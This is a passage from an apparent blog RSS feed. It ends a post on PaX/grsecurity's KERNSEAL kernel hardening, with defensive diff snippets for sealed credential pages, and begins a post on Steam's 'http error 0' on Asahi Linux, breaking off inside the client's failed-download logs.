&lt;span class="gi"&gt;+               struct cred     *cred;&lt;/span&gt;
&lt;span class="gi"&gt;+#endif&lt;/span&gt;
&lt;span class="gi"&gt;+               atomic_long_t   usage;   &lt;/span&gt;
&lt;span class="gi"&gt;+       }&lt;/span&gt;
&lt;span class="gi"&gt;+#ifdef CONFIG_PAX_KERNSEAL&lt;/span&gt;
&lt;span class="gi"&gt;+       *rw;&lt;/span&gt;
&lt;span class="gi"&gt;+#else&lt;/span&gt;
&lt;span class="gi"&gt;+       _rw;&lt;/span&gt;
&lt;span class="gi"&gt;+#endif&lt;/span&gt;

// [...]

&lt;span class="gi"&gt;+#ifdef CONFIG_PAX_KERNSEAL&lt;/span&gt;
&lt;span class="gi"&gt;+} __randomize_layout __mutable_const;&lt;/span&gt;
&lt;span class="gi"&gt;+#else&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;} __randomize_layout;
&lt;span class="gi"&gt;+#endif&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and used like this:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gi"&gt;+#ifdef CONFIG_PAX_KERNSEAL&lt;/span&gt;
&lt;span class="gi"&gt;+#define to_cred_rw(cred)       (cred-&amp;gt;rw)&lt;/span&gt;
&lt;span class="gi"&gt;+#define to_cred(cred_rw)       (cred_rw-&amp;gt;cred)                          &lt;/span&gt;
&lt;span class="gi"&gt;+#else&lt;/span&gt;
&lt;span class="gi"&gt;+#define to_cred_rw(cred)       (&amp;amp;cred-&amp;gt;_rw)&lt;/span&gt;
&lt;span class="gi"&gt;+#define to_cred(cred_rw)       (container_of(cred_rw, struct cred, _rw))&lt;/span&gt;
&lt;span class="gi"&gt;+#endif&lt;/span&gt;
&lt;span class="gi"&gt;+&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This means the credential's security-sensitive fields (UIDs, GIDs,
capabilities) live on sealed pages and cannot be tampered with, while the
reference count and RCU linkage live on normal writable memory.&lt;/p&gt;
&lt;p&gt;Debugging-wise, When a page fault occurs on a direct-mapped address, the fault
handler checks whether the page is sealed or hidden and provides a clear
diagnostic:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gi"&gt;+   if (is_direct_mapped_addr((void *)address)) {&lt;/span&gt;
&lt;span class="gi"&gt;+       struct page *page = virt_to_page((void *)address);&lt;/span&gt;
&lt;span class="gi"&gt;+       if (PageSealed(page) || PageHidden(page)) {&lt;/span&gt;
&lt;span class="gi"&gt;+           pr_alert(&amp;quot;BUG: unable to handle page fault for %s page at %pS\n&amp;quot;,&lt;/span&gt;
&lt;span class="gi"&gt;+               PageSealed(page) ? &amp;quot;sealed&amp;quot; : &amp;quot;hidden&amp;quot;, (void *)address);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Moreover, sealed and hidden page counts are exposed via &lt;code&gt;/proc/meminfo&lt;/code&gt; and
per-node &lt;code&gt;meminfo&lt;/code&gt;, plus per-process stats in &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/smaps&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Sealed:&lt;/code&gt; — total sealed pages in kB&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Hidden:&lt;/code&gt; — total hidden pages in kB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;New &lt;code&gt;kpageflags&lt;/code&gt; bits (&lt;code&gt;KPF_SEALED&lt;/code&gt; = 62, &lt;code&gt;KPF_HIDDEN&lt;/code&gt; = 63) are also exported.&lt;/p&gt;
&lt;p&gt;As for &lt;code&gt;PAX_PRIVATE_KSTACKS&lt;/code&gt; (in the context of &lt;code&gt;PAX_KERNSEAL&lt;/code&gt;), it creates a
per-CPU page table where each task gets a dedicated slot with guard pages. Only
the current task's stack is accessible, via dynamic PTE-level (un)mapping
magic. Underlying physical pages are allocated with &lt;code&gt;__GFP_HIDDEN&lt;/code&gt; of course.
For stack variables that require DMA/async access, an ad-hoc GCC plugin
identifies them and stores them in a per-task dedicated page.&lt;/p&gt;
&lt;p&gt;Even though &lt;code&gt;PAX_PRIVATE_KSTACKS&lt;/code&gt; and &lt;code&gt;PAX_KERNSEAL&lt;/code&gt; are conceptually simple
mitigation, they are likely super-tedious to apply to the Linux kernel code
behemoth. Tackling data-only attacks is hard, and the only other people
seriously trying to address them is Apple, with their hardware-based
KTRR/CTRR/GXF/APRR/PPL/SPTM/TXM mitigations. This makes KERNSEAL all the more
remarkable, as like everything produced by the PaX Team, it doesn't require
special hardware support. &lt;/p&gt;
&lt;p&gt;Another interesting property of KERNSEAL is that it can serve as a basis for
other interesting things, like ensuring that &lt;a href="https://x.com/grsecurity/status/1681338447695339520"&gt;no guest pages are available at
the hypervisor level in
KVM&lt;/a&gt; for example. I can't
wait to see what will be built on top next.&lt;/p&gt;
&lt;p&gt;All in all, unsurprisingly, KERNSEAL is yet another all-around tour de force
from the PaX Team, who keeps consistently producing stellar software-only
mitigations before everyone else, since almost 25 years.&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">jvoisin</dc:creator><pubDate>Wed, 25 Mar 2026 15:30:00 +0100</pubDate><guid isPermaLink="false">tag:dustri.org,2026-03-25:/b/quick-notes-on-kernseal.html</guid><category>security</category></item><item><title>Fixing Steam's "Download failed: http error 0" on Asahi Linux</title><link>https://dustri.org/b/fixing-steams-download-failed-http-error-0-on-asahi-linux.html</link><description>&lt;p&gt;Thanks to the &lt;a href="https://asahilinux.org/2024/10/aaa-gaming-on-asahi-linux/"&gt;amazing
work&lt;/a&gt; of the &lt;a href="https://asahilinux.org/community/"&gt;Asahi
Team&lt;/a&gt;, &lt;a href="https://steampowered.com"&gt;Steam&lt;/a&gt; is
running on my arm64 Linux on my Apple M2. Unfortunately, it seems that a recent
update broke the ability for Steam to speak to the internet, with logs looking
this like:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Checking&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;updates&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Checking&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;updates&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;waiting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finished&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fastly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;steamstatic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_ubuntu12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Downloading&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;akamai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;steamstatic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_ubuntu12&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;waiting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finished&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;akamai&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;steamstatic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_ubuntu12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Downloading&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;steamstatic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_ubuntu12&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;waiting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;finished&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;steamstatic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;steam_client_ubuntu12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DownloadManifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exhausted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;download&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hosts&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2026&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;manifest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
